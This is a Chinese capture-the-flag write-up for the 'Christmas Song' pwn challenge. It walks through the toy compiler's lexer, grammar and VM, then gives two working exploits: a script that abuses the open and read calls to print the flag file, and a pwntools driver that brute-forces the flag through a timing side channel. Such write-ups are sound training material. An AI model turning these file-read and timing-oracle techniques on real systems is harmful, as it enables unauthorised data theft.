0%

编译原理pwn

Christmas Song 复现

1
2
3
4
5
6
Christmas_Song: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01c26c8510f895dce9e8ce077df41f1398428598, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

题目分析

本题目和编译原理有关,给出了源码,这里重点关注一下 parser.y scanner.l 文件

编译器的构造过程需要两个工具 Flex(用于词法分析)和 Bison(用于语法分析),这两个工具会将上述文件中的指令转化为C代码

因此,理解了 parser.y scanner.l 文件就相当于理解了该编译器的运行逻辑:

scanner.l:词法分析,判断出源代码中出现的符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap

%%
";" {return NEW_LINE;}
":" {return NEXT;}
"is" {yylval=ast_operator_init('=');return OPERATOR;}
"gift" {return GIFT;}
"reindeer" {return REINDEER;}
"equal to" {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than" {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift" {return IF;}
"delivering gift" {return DELIVERING;}
"brings back gift" {return BACK;}
"this family wants gift" {return WANT;}
"ok, they should already have a gift;" {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}

<<EOF>> {return 0;}

[ ] {/* empty */}
[\n] {line++;}
[-+*/] {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+ {yylval=ast_word_init(yytext); return WORD;}
[0-9]+ {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\" {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#) {/* empty */}
%%

void yyerror(ast_t **modlue,const char *msg) {
printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
exit(1);
}
  • 简单来说就是用正则表达式来匹配各个符号
  • 可以暂时不分析具体的函数

parser.y:语法分析,规定各个符号该如何组织成语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}

%parse-param { ast_t **module}

%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT

%%
proprame : stmts
{$$ = *module = $1;}
;
/* 语句列表 */
stmts : stmt /* 单个语句 */
{$$ = ast_init(AST_STMT, 1, $1);}
| stmts stmt /* 多个语句 */
{$$ = ast_add_child($1, $2);}
;
/* 语句 */
stmt : call_expr /* 函数调用 */
| want_stmt /* want语句 */
| var_expr NEW_LINE /* 变量声明 */
{$$ = $1;}
;
/* want语句 */
want_stmt : WANT WORD lists ENDWANT /* want语句的格式 */
{$$ = ast_init(AST_WANT, 2, $2, $3);}
;
/* want结构列表 */
lists : list /* 单个want结构 */
{$$ = ast_init(AST_LISTS, 1, $1);}
| lists list /* 多个want结构 */
{$$ = ast_add_child($1, $2);}
;
/* want结构 */
list : IF OPERATOR expr NEXT stmts /* 相当于IF语句 */
{$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
| list AGAIN /* want结构的格式 */
{$$ = ast_add_child($1, $2);}
/* 函数调用 */
call_expr : call_expr BACK WORD NEW_LINE /* 返回值的格式 */
{$$ = ast_add_child($1, $3);}
| call_expr NEW_LINE /* 函数调用的格式 */
{$$ = $1;}
| REINDEER WORD DELIVERING WORD WORD WORD /* 函数调用的格式 */
{$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
;
/* 变量 */
var_expr : GIFT expr /* 变量格式 */
{$$=$2;}
;
/* 表达式 */
expr : expr OPERATOR expr
{$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
| WORD /* 符号 */
{$$=$1;}
| NUMBER /* 数字 */
{$$=$1;}
| STRING /* 字符串 */
{$$=$1;}
;
%%
  • 语法分析的目的就是为了生成语法分析树 AST
  • 本题目不用探讨这个问题,只需要先了解语法即可

核心语法如下:

  • 函数调用:
1
2
REINDEER [WORD] DELIVERING [WORD WORD WORD] (BACK [WORD]) NEW_LINE
reindeer [函数名] delivering gift [参数1 参数2 参数3] (brings back gift [返回值]);
  • Want 语句:
1
2
WANT [WORD] IF [OPERATOR] [expr] NEXT [stmts] AGAIN ENDWANT
this family wants gift [变量] if the gift [+-*/=?>] [表达式] : [复合语句] Brave reindeer! Fear no difficulties! ok, they should already have a gift;

分析完程序的语法,就可以进入语义分析阶段了,首先需要了解一个核心宏定义:

1
2
3
4
5
6
7
8
#define map(var, TYPE, type)                                                 \
case AST_##TYPE: \
compile_##type((var), lambda); \
break
#define map(OPCODE, opcode) \
case OP_##OPCODE: \
emit_insn_##opcode(this, ast); \
break

起始函数如下:

1
2
3
4
5
6
7
void back_process(ast_t* m, char * scom_file){
FILE * out = fopen(scom_file, "w");
lambda_t *l = lambda_init();
compile_stmts(m, l);
save_scom(l, out);
fclose(out);
}
1
2
3
4
5
6
void compile_stmts(arg){
int i = 0;
ast_t*child = NULL;
ast_each_child(ast, i, child) /* 遍历AST */
compile_stmt(child, lambda); /* 处理语句stmt */
}

处理语句 stmt:

1
2
3
4
5
6
7
void compile_stmt(arg){
switch(ast->type){
map(ast, EXPR, expr); /* 处理表达式 */
map(ast, FUNCTION, function); /* 处理函数调用 */
map(ast, WANT, want); /* 处理want语句 */
}
}

处理函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void compile_function(arg){
ast_t *func = ast_get_child(ast, 0);
ast_t *arg1 = ast_get_child(ast, 1);
ast_t *arg2 = ast_get_child(ast, 2);
ast_t *arg3 = ast_get_child(ast, 3);

emit_insn(OP_LOAD_WORD, arg1); /* 处理第1个参数 */
emit_insn(OP_LOAD_WORD, arg2); /* 处理第2个参数 */
emit_insn(OP_LOAD_WORD, arg3); /* 处理第3个参数 */

emit_insn_call(lambda, func); /* 处理函数调用 */

if (ast_get_child_count(ast) == 5){
ast_t *ret = ast_get_child(ast, 4);
if (ret->type == AST_WORD)
emit_insn(OP_STORE, ret);
}
}
  • 其实底层就是把 AST 转化为虚拟机能理解的代码

处理 want 语句:(底层比较辅助,将其理解为 IF 语句就好了)

1
2
3
4
5
6
7
8
9
void compile_want(ast_t *ast, lambda_t *lambda){
ast_t *word = ast_get_child(ast, 0);
ast_t *lists = ast_get_child(ast, 1);
ast_t *list;
int i = 0;
int start = lambda_get_code_count(lambda);
ast_each_child(lists, i, list)
compile_list(list, lambda, word, start); /* 处理复合语句 */
}

但语义分析完毕以后,源程序就被转化为虚拟机代码

在如下函数中被执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void vm_call_lambda(lambda_t *l){
runtime_t *r = runtime_init();

// gift to Christmas Bash!
// Don't play too late for the party! Remember to sleep!

// gift_t * gift = gift_init("sleep", sleep);
// runtime_set_gift(r, gift);

while(r->is_run){
switch(get_code){
display(STORE, store);
display(LOAD_NUMBER, load_number);
display(LOAD_STRING, load_string);
display(LOAD_WORD, load_word);

display(CALL, call);
display(JZ, jz);
display(JMP, jmp);

operator(ADD);
operator(SUB);
operator(DIV);
operator(MUL);
operator(GRAETER);
operator(EQUAL);
}
check_next(r, l);
}
}

入侵思路

本题目提供了 read open 函数,有这两个函数就可以把 flag 读取到本地内存

然后 open flag,在 open 失败后会进行打印,可以把 flag 打印出来

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;

reindeer Dasher delivering gift FD BUF RN;

reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#p = remote("124.71.144.133", 2144)
p = process(["python3", "server.py"])
context.log_level = "debug"

with open("./exp.slang", "rb") as f:
p.sendline(f.read())
p.sendline(b"EOF")

pause(1)
p.send(b"./flag\x00")

p.interactive()

还有一种思路是利用 Want 语句爆破 flag,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import * 
import string

# context.log_level = "debug"

dic = string.ascii_letters + string.digits + "_}"
print(dic)

flag = "SCTF{"
for i in range(21-5-1):
for ch in dic:
tmp = flag + ch
slang_file = """
gift stdout is 1;
gift flag is "./flag";
gift buf is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift size is 40;
gift none is 0;
gift fd is 0;
gift len is {};
gift guess is "{}";

reindeer Dancer delivering gift flag none none brings back gift fd;
reindeer Dasher delivering gift fd buf size;
reindeer Prancer delivering gift buf guess len brings back gift success;

this family wants gift success
if the gift equal to 0:
gift a is 1;
Brave reindeer! Fear no difficulties!
ok, they should already have a gift;
EOF
""".format(i+5+1, tmp)
cn = process("python3 server.py".split(" "))
cn.recvuntil("===== Enter partial source for edge compute app (EOF to finish):")
cn.sendline(slang_file.encode())
start = time.time()
cn.recvuntil("===== Test complete!")
end = time.time()
if (int(end - start) == 1):
flag += ch
print("[!] -get: ", flag)
cn.close()
break
cn.close()

print(flag)